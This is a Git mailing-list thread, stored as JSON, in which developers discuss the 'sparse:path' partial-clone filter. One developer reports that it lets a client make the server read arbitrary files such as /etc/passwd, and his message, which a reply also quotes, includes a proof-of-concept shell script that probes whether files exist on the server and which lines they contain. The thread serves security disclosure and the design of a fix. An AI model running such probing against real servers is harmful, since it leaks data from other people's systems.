{"thread":{"id":"49780","subject":"how does \"clone --filter=sparse:path\" work?","startedAt":"2018-11-08T05:08:25Z","lastAt":"2019-05-24T09:27:46Z","messageCount":6,"participants":["Jeff King","Jeff Hostetler","Christian Couder"],"isPatch":false,"patchVersion":null,"patchTotal":null},"messages":[{"id":"362715","messageId":"20181108050755.GA32158@sigill.intra.peff.net","threadId":"49780","inReplyTo":null,"subject":"how does \"clone --filter=sparse:path\" work?","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2018-11-08T05:07:55Z","receivedAt":"2018-11-08T05:08:25Z","isPatch":false,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"[cc-ing people who worked on or seem interested in partial-clone\nfilters]\n\nI've been exploring the partial-clone options a bit, and took a look at\nthe \"sparse:path\" option. I had some confusion initially, because I\nexpected it work something like this:\n\n  git clone --filter=sparse:path=Documentation .\n\nBut it really doesn't take an in-repo path. You have to specify a path\nto a file that contains a file with .gitignore patterns. Except they're\nactually _inverted_ patterns (i.e., what to include). Which confused me\nagain, but I guess makes sense if these are meant to be adapted from\nsparse-checkout files.\n\nSo my first question is: how is this meant to be used?\n\nI guess the idea is that somebody (the repo admin?) makes a set of\npre-made profiles, with each profile mentioning some subset of paths.\nAnd then when you clone, you say, \"I want the foo profile\". How is that\nprofile stored and accessed?\n\nIf it's a blob in the repository, I think you can use something like\n\"--filter=sparse:oid=profiles:foo\". And then after cloning, you'd\ndo \"git cat-file blob profiles:foo >.git/sparse-checkout\" or similar.\nThat seems like something that could be wrapped up in a single clone\noption, but I can't find one; I won't be surprised if it simply hasn't\nhappened yet.\n\nBut if it's a path, then what? I'd imagine that you'd \"somehow\" get a\ncopy of the sparse profile you want out-of-band. And then you'd say \"I\nwant to clone with the profile in this file\", and then copy it into the\nsparse-checkout file to do the checkout.\n\nBut the sparse-checkout file in the filter is not expanded locally, with\npatterns sent over the wire. The _filename_ is sent over the wire, and\nthen upload-pack expands it. So you can't specify an arbitrary set of\npatterns; you have to know about the profile names (how?) on the server.\nThat's not very flexible, though I imagine it may make certain things\neasier on the server (e.g., if you pack in such a way to efficiently\nserve only particular profiles).\n\nBut I'm also concerned it's dangerous. We're reading gitignore patterns\nfrom an arbitrary name on the server's filesystem, with that name coming\nfrom an untrusted client. So I can do:\n\n  git clone --filter=sparse:path=/etc/passwd $remote\n\nand the server will read /etc/passwd. There's probably a lot of mischief\nyou can get up to with that. Sadly reading /proc/self/mem doesn't work,\nbecause the gitignore code fstat()s the file to find out how much to\nread, and the st_size there is 0. But there are probably others\n(/proc/kcore is a fun one, but nobody is running their git server as\nroot, right?).\n\nBelow is a proof of concept script that uses this as an oracle to\nexplore the filesystem, as well as individual lines of files.\n\nShould we simply be disallowing sparse:path filters over upload-pack?\n\n-Peff\n\n-- >8 --\n# Set this to host:repo.git to see a real cross-machine connection (which makes\n# it more obvious which side is reading which files).  For a simulated local\n# one, we'll use --no-local to make sure we really run upload-pack.\nSERVER=server.git\n\n# Do these steps manually on the remote side if you're trying it cross-server.\ncase \"$SERVER\" in\n*:*)\n\t;;\n*)\n\t# Imagine a server with a repository users can push to, with filters enabled.\n\tgit init -q --bare $SERVER\n\tgit -C $SERVER config uploadpack.allowfilter true\n\n\t# Imagine the server has a file outside of the repo we're interested in.\n\techo foo >/tmp/secret\n\t;;\nesac\n\n# Some base setup.\ngit clone -q $SERVER local\ngit -C local commit -q --allow-empty -m 'some base commit'\ngit -C local push -q\n\n# We can find out whether a path exists on the filesystem.\nprobe_file () {\n\t# The remote upload-pack will barf if it cannot read the path $1.\n\trm -rf result\n\tif git clone --bare --no-local --filter=sparse:path=$1 \\\n\t\t$SERVER result >/dev/null 2>&1\n\tthen\n\t\techo \"$1 exists\"\n\telse\n\t\techo \"$1 does not exist\"\n\tfi\n}\nprobe_file /tmp/missing\nprobe_file /tmp/secret\n\n# We can also check individual lines in a file.\nprobe_line () {\n\t# Make a probe that contains the path $2.\n\t(\n\t\tcd local\n\t\techo $2 >$2\n\t\tgit add $2\n\t\tgit commit -m \"probe for $2\"\n\t\tgit push\n\t) >/dev/null 2>&1\n\n\t# And then fetch that probe with the filter to see\n\t# if it was included. This needs to be bare so we don't\n\t# do a followup fetch to checkout.\n\trm -rf result\n\tgit clone -q --bare --no-local --filter=sparse:path=$1 \\\n\t\t$SERVER result\n\n\t# We have all the information we need now, but we have to convince Git\n\t# to tell it to us. There's no way to set fetch_if_missing externally,\n\t# but we can drop the remote, which means that excluded paths\n\t# will result in an error.\n\tgit -C result remote rm origin\n\tif git -C result cat-file -t HEAD:$2 >/dev/null 2>&1\n\tthen\n\t\techo \"$1 contains line $2\"\n\telse\n\t\techo \"$1 does not contain line $2\"\n\tfi\n}\nprobe_line /tmp/secret foo\nprobe_line /tmp/secret bar\n"},{"id":"362748","messageId":"79b06312-75ca-5a50-c337-dc6715305edb@jeffhostetler.com","threadId":"49780","inReplyTo":"20181108050755.GA32158@sigill.intra.peff.net","subject":"Re: how does \"clone --filter=sparse:path\" work?","fromName":"Jeff Hostetler","fromEmail":"git@jeffhostetler.com","sentAt":"2018-11-08T18:57:52Z","receivedAt":"2018-11-08T18:57:58Z","isPatch":false,"sender":{"key":"git@jeffhostetler.com","avatar":null},"body":"\n\nOn 11/8/2018 12:07 AM, Jeff King wrote:\n> [cc-ing people who worked on or seem interested in partial-clone\n> filters]\n> \n> I've been exploring the partial-clone options a bit, and took a look at\n> the \"sparse:path\" option. I had some confusion initially, because I\n> expected it work something like this:\n> \n>    git clone --filter=sparse:path=Documentation .\n> \n> But it really doesn't take an in-repo path. You have to specify a path\n> to a file that contains a file with .gitignore patterns. Except they're\n> actually _inverted_ patterns (i.e., what to include). Which confused me\n> again, but I guess makes sense if these are meant to be adapted from\n> sparse-checkout files.\n> \n> So my first question is: how is this meant to be used?\n> \n> I guess the idea is that somebody (the repo admin?) makes a set of\n> pre-made profiles, with each profile mentioning some subset of paths.\n> And then when you clone, you say, \"I want the foo profile\". How is that\n> profile stored and accessed?\n\nYes, the basic idea was if you had a large tree and various groups\nof users that tended to only need their group's portion of the tree,\nthen you could (or your repo admin could) create several profiles.\nAnd users could use a profile to request just the subset of trees and\nblobs they need.\n\nDuring a clone/fetch users could ask for the profile by OID or by\n<rev>:<path>.  It would be a local/custom detail where the repo admin\ncollects the various profiles.  (Or at least, that was the thought.)\nLikewise, a user could create their own profile(s) by committing a\nsparse-checkout file spec to a personal branch.  Again, a local\nconvention.\n\n\n> \n> If it's a blob in the repository, I think you can use something like\n> \"--filter=sparse:oid=profiles:foo\". And then after cloning, you'd\n> do \"git cat-file blob profiles:foo >.git/sparse-checkout\" or similar.\n> That seems like something that could be wrapped up in a single clone\n> option, but I can't find one; I won't be surprised if it simply hasn't\n> happened yet.\n\nRight, TBD.\n\n\n> \n> But if it's a path, then what? I'd imagine that you'd \"somehow\" get a\n> copy of the sparse profile you want out-of-band. And then you'd say \"I\n> want to clone with the profile in this file\", and then copy it into the\n> sparse-checkout file to do the checkout.\n> \n> But the sparse-checkout file in the filter is not expanded locally, with\n> patterns sent over the wire. The _filename_ is sent over the wire, and\n> then upload-pack expands it. So you can't specify an arbitrary set of\n> patterns; you have to know about the profile names (how?) on the server.\n> That's not very flexible, though I imagine it may make certain things\n> easier on the server (e.g., if you pack in such a way to efficiently\n> serve only particular profiles).\n> \n> But I'm also concerned it's dangerous. We're reading gitignore patterns\n> from an arbitrary name on the server's filesystem, with that name coming\n> from an untrusted client. So I can do:\n> \n>    git clone --filter=sparse:path=/etc/passwd $remote\n> \n> and the server will read /etc/passwd. There's probably a lot of mischief\n> you can get up to with that. Sadly reading /proc/self/mem doesn't work,\n> because the gitignore code fstat()s the file to find out how much to\n> read, and the st_size there is 0. But there are probably others\n> (/proc/kcore is a fun one, but nobody is running their git server as\n> root, right?).\n> \n> Below is a proof of concept script that uses this as an oracle to\n> explore the filesystem, as well as individual lines of files.\n> \n> Should we simply be disallowing sparse:path filters over upload-pack?\n\nThe option to allow an absolute path over the wire probably needs more\nthought as you suggest.\n\nHaving it in the traverse code was useful for local testing in the\nclient.\n\nBut mainly I was thinking of a use case on the client of the form:\n\n     git rev-list\n         --objects\n         --filter=spec:path=.git/sparse-checkout\n         --missing=print\n         <commit>\n\nand get a list of the blobs that you don't have and would need before\nyou could checkout <commit> using the current sparse-checkout \ndefinition.  You could then have a pre-checkout hook that would bulk\nfetch them before starting the actual checkout.  Since that would be\nmore efficient than demand-loading blobs individually during the\ncheckout.  There's more work to do in this area, but that was the idea.\n\nBut back to your point, yes, I think we should restrict this over the\nwire.\n\n\nThanks,\nJeff\n\n\n\n\n> \n> -Peff\n> \n> -- >8 --\n> # Set this to host:repo.git to see a real cross-machine connection (which makes\n> # it more obvious which side is reading which files).  For a simulated local\n> # one, we'll use --no-local to make sure we really run upload-pack.\n> SERVER=server.git\n> \n> # Do these steps manually on the remote side if you're trying it cross-server.\n> case \"$SERVER\" in\n> *:*)\n> \t;;\n> *)\n> \t# Imagine a server with a repository users can push to, with filters enabled.\n> \tgit init -q --bare $SERVER\n> \tgit -C $SERVER config uploadpack.allowfilter true\n> \n> \t# Imagine the server has a file outside of the repo we're interested in.\n> \techo foo >/tmp/secret\n> \t;;\n> esac\n> \n> # Some base setup.\n> git clone -q $SERVER local\n> git -C local commit -q --allow-empty -m 'some base commit'\n> git -C local push -q\n> \n> # We can find out whether a path exists on the filesystem.\n> probe_file () {\n> \t# The remote upload-pack will barf if it cannot read the path $1.\n> \trm -rf result\n> \tif git clone --bare --no-local --filter=sparse:path=$1 \\\n> \t\t$SERVER result >/dev/null 2>&1\n> \tthen\n> \t\techo \"$1 exists\"\n> \telse\n> \t\techo \"$1 does not exist\"\n> \tfi\n> }\n> probe_file /tmp/missing\n> probe_file /tmp/secret\n> \n> # We can also check individual lines in a file.\n> probe_line () {\n> \t# Make a probe that contains the path $2.\n> \t(\n> \t\tcd local\n> \t\techo $2 >$2\n> \t\tgit add $2\n> \t\tgit commit -m \"probe for $2\"\n> \t\tgit push\n> \t) >/dev/null 2>&1\n> \n> \t# And then fetch that probe with the filter to see\n> \t# if it was included. This needs to be bare so we don't\n> \t# do a followup fetch to checkout.\n> \trm -rf result\n> \tgit clone -q --bare --no-local --filter=sparse:path=$1 \\\n> \t\t$SERVER result\n> \n> \t# We have all the information we need now, but we have to convince Git\n> \t# to tell it to us. There's no way to set fetch_if_missing externally,\n> \t# but we can drop the remote, which means that excluded paths\n> \t# will result in an error.\n> \tgit -C result remote rm origin\n> \tif git -C result cat-file -t HEAD:$2 >/dev/null 2>&1\n> \tthen\n> \t\techo \"$1 contains line $2\"\n> \telse\n> \t\techo \"$1 does not contain line $2\"\n> \tfi\n> }\n> probe_line /tmp/secret foo\n> probe_line /tmp/secret bar\n> \n"},{"id":"363918","messageId":"20181122173931.GA22123@sigill.intra.peff.net","threadId":"49780","inReplyTo":"79b06312-75ca-5a50-c337-dc6715305edb@jeffhostetler.com","subject":"Re: how does \"clone --filter=sparse:path\" work?","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2018-11-22T17:39:31Z","receivedAt":"2018-11-22T17:39:35Z","isPatch":false,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Thu, Nov 08, 2018 at 01:57:52PM -0500, Jeff Hostetler wrote:\n\n> > Should we simply be disallowing sparse:path filters over upload-pack?\n> \n> The option to allow an absolute path over the wire probably needs more\n> thought as you suggest.\n> \n> Having it in the traverse code was useful for local testing in the\n> client.\n> \n> But mainly I was thinking of a use case on the client of the form:\n> \n>     git rev-list\n>         --objects\n>         --filter=spec:path=.git/sparse-checkout\n>         --missing=print\n>         <commit>\n> \n> and get a list of the blobs that you don't have and would need before\n> you could checkout <commit> using the current sparse-checkout definition.\n> You could then have a pre-checkout hook that would bulk\n> fetch them before starting the actual checkout.  Since that would be\n> more efficient than demand-loading blobs individually during the\n> checkout.  There's more work to do in this area, but that was the idea.\n> \n> But back to your point, yes, I think we should restrict this over the\n> wire.\n\nThanks for your thorough response, and sorry for the slow reply. I had\nmeant to reply with a patch adding in the restriction, but I haven't\nquite gotten to it. :)\n\nIt's still on my todo list, but I'm going to be offline for a bit for\nvacation, and I didn't want to leave this totally hanging without a\nresponse.\n\n-Peff\n"},{"id":"376153","messageId":"CAP8UFD0XbOUj70pt4X=HDvGBoLaG9qBv9SWGnM6N8FG3t-57rg@mail.gmail.com","threadId":"49780","inReplyTo":"20181122173931.GA22123@sigill.intra.peff.net","subject":"Re: how does \"clone --filter=sparse:path\" work?","fromName":"Christian Couder","fromEmail":"christian.couder@gmail.com","sentAt":"2019-05-24T08:05:45Z","receivedAt":"2019-05-24T08:06:00Z","isPatch":false,"sender":{"key":"christian.couder@gmail.com","avatar":"https://avatars.githubusercontent.com/u/208954?v=4"},"body":"(Sorry for the late reply to this.)\n\nOn Sat, Nov 24, 2018 at 8:07 AM Jeff King <peff@peff.net> wrote:\n>\n> On Thu, Nov 08, 2018 at 01:57:52PM -0500, Jeff Hostetler wrote:\n>\n> > > Should we simply be disallowing sparse:path filters over upload-pack?\n\nI agree that it should either be disallowed or heavily restricted.\n\n> > The option to allow an absolute path over the wire probably needs more\n> > thought as you suggest.\n> >\n> > Having it in the traverse code was useful for local testing in the\n> > client.\n> >\n> > But mainly I was thinking of a use case on the client of the form:\n> >\n> >     git rev-list\n> >         --objects\n> >         --filter=spec:path=.git/sparse-checkout\n\nDo you mean \"sparse:path\" instead of \"spec:path\"?\n\n> >         --missing=print\n> >         <commit>\n> >\n> > and get a list of the blobs that you don't have and would need before\n> > you could checkout <commit> using the current sparse-checkout definition.\n> > You could then have a pre-checkout hook that would bulk\n> > fetch them before starting the actual checkout.  Since that would be\n> > more efficient than demand-loading blobs individually during the\n> > checkout.  There's more work to do in this area, but that was the idea.\n> >\n> > But back to your point, yes, I think we should restrict this over the\n> > wire.\n>\n> Thanks for your thorough response, and sorry for the slow reply. I had\n> meant to reply with a patch adding in the restriction, but I haven't\n> quite gotten to it. :)\n\nThe way I see it could be restricted is by adding a config option on\nthe server, maybe called \"uploadpack.sparsePathFilter\", to tell which\nfilenames can be accessed using \"--filter=sparse:path=\".\n\nFor example with uploadpack.sparsePathFilter set to\n\"/home/user/git/sparse/*\" and \"--filter=sparse:path=foo\" then\n\"/home/user/git/sparse/foo\" on the server would be used if it exists.\n(Of course care should be taken that things like\n\"--filter=sparse:path=bar/../../foo\" are rejected.)\n\nIf uploadpack.sparsePathFilter is unset or set to \"false\", then\n\"--filter=sparse:path=<stuff>\" would always error out.\n\nIs this what you had in mind?\n"},{"id":"376157","messageId":"20190524083142.GC9082@sigill.intra.peff.net","threadId":"49780","inReplyTo":"CAP8UFD0XbOUj70pt4X=HDvGBoLaG9qBv9SWGnM6N8FG3t-57rg@mail.gmail.com","subject":"Re: how does \"clone --filter=sparse:path\" work?","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2019-05-24T08:31:42Z","receivedAt":"2019-05-24T08:31:45Z","isPatch":false,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Fri, May 24, 2019 at 10:05:45AM +0200, Christian Couder wrote:\n\n> (Sorry for the late reply to this.)\n\nNo problem. I've been meaning to pick it up again, and somehow it's been\n6 months. ;)\n\n> > > But mainly I was thinking of a use case on the client of the form:\n> > >\n> > >     git rev-list\n> > >         --objects\n> > >         --filter=spec:path=.git/sparse-checkout\n> \n> Do you mean \"sparse:path\" instead of \"spec:path\"?\n\nYes, I think so.\n\n> > > and get a list of the blobs that you don't have and would need before\n> > > you could checkout <commit> using the current sparse-checkout definition.\n> > > You could then have a pre-checkout hook that would bulk\n> > > fetch them before starting the actual checkout.  Since that would be\n> > > more efficient than demand-loading blobs individually during the\n> > > checkout.  There's more work to do in this area, but that was the idea.\n> > >\n> > > But back to your point, yes, I think we should restrict this over the\n> > > wire.\n> >\n> > Thanks for your thorough response, and sorry for the slow reply. I had\n> > meant to reply with a patch adding in the restriction, but I haven't\n> > quite gotten to it. :)\n> \n> The way I see it could be restricted is by adding a config option on\n> the server, maybe called \"uploadpack.sparsePathFilter\", to tell which\n> filenames can be accessed using \"--filter=sparse:path=\".\n> \n> For example with uploadpack.sparsePathFilter set to\n> \"/home/user/git/sparse/*\" and \"--filter=sparse:path=foo\" then\n> \"/home/user/git/sparse/foo\" on the server would be used if it exists.\n> (Of course care should be taken that things like\n> \"--filter=sparse:path=bar/../../foo\" are rejected.)\n> \n> If uploadpack.sparsePathFilter is unset or set to \"false\", then\n> \"--filter=sparse:path=<stuff>\" would always error out.\n> \n> Is this what you had in mind?\n\nMy plan had been to disallow it entirely, and allow some mechanism by\nwhich the client could specify the actual set of sparse paths itself\n(which it might get from a local file, or communicated in some\nout-of-band way to the user cloning, etc).\n\nIf we just want a mechanism for the server to provide a pre-made sparse\nlist, then I think pointing people at sparse:oid=<blob> is simpler\nthere. I.e., your \"foo\" becomes \"refs/sparse/foo\" or even \"HEAD:.sparse\"\nor similar, and the server admin just sticks the content into the repo\ninstead of dealing with exposing filesystem paths to the client.\n\n-Peff\n"},{"id":"376164","messageId":"CAP8UFD3bVH5w=DeMi8R=_O=oyatWj8coh_MxT4kTyJyp1+pOMw@mail.gmail.com","threadId":"49780","inReplyTo":"20190524083142.GC9082@sigill.intra.peff.net","subject":"Re: how does \"clone --filter=sparse:path\" work?","fromName":"Christian Couder","fromEmail":"christian.couder@gmail.com","sentAt":"2019-05-24T09:27:31Z","receivedAt":"2019-05-24T09:27:46Z","isPatch":false,"sender":{"key":"christian.couder@gmail.com","avatar":"https://avatars.githubusercontent.com/u/208954?v=4"},"body":"On Fri, May 24, 2019 at 10:31 AM Jeff King <peff@peff.net> wrote:\n>\n> On Fri, May 24, 2019 at 10:05:45AM +0200, Christian Couder wrote:\n\n> > The way I see it could be restricted is by adding a config option on\n> > the server, maybe called \"uploadpack.sparsePathFilter\", to tell which\n> > filenames can be accessed using \"--filter=sparse:path=\".\n> >\n> > For example with uploadpack.sparsePathFilter set to\n> > \"/home/user/git/sparse/*\" and \"--filter=sparse:path=foo\" then\n> > \"/home/user/git/sparse/foo\" on the server would be used if it exists.\n> > (Of course care should be taken that things like\n> > \"--filter=sparse:path=bar/../../foo\" are rejected.)\n> >\n> > If uploadpack.sparsePathFilter is unset or set to \"false\", then\n> > \"--filter=sparse:path=<stuff>\" would always error out.\n> >\n> > Is this what you had in mind?\n>\n> My plan had been to disallow it entirely, and allow some mechanism by\n> which the client could specify the actual set of sparse paths itself\n> (which it might get from a local file, or communicated in some\n> out-of-band way to the user cloning, etc).\n\nI think that indeed disallowing \"sparse:path\" is the simplest and\nsafest way to go. And I agree that a \"mechanism by which the client\ncould specify the actual set of sparse paths itself\" would be really\nnice. I think it might be more complex and take a significant amount\nof time to implement though.\n\n> If we just want a mechanism for the server to provide a pre-made sparse\n> list, then I think pointing people at sparse:oid=<blob> is simpler\n> there. I.e., your \"foo\" becomes \"refs/sparse/foo\" or even \"HEAD:.sparse\"\n> or similar, and the server admin just sticks the content into the repo\n> instead of dealing with exposing filesystem paths to the client.\n\nI agree that it is simpler to just use \"sparse:oid\" which already\nworks. I just thought that some servers might want to provide pre-made\nsparse lists that aren't in the repo so that client cannot possibly\nchange them (by pushing into the repo), and that \"sparse:path\" could\nbe used for that purpose.\n\nNow if no one is currently interested in providing pre-made sparse\nlists that aren't in the repo, then I am ok to just disable\n\"sparse:path\" for now, and I might send a patch to do it soon. It will\nat least fix the security issue with \"sparse:path\" and thus enable\npeople interested in using \"sparse:oid\" to start doing so (without\nopening a big security hole).\n"}]}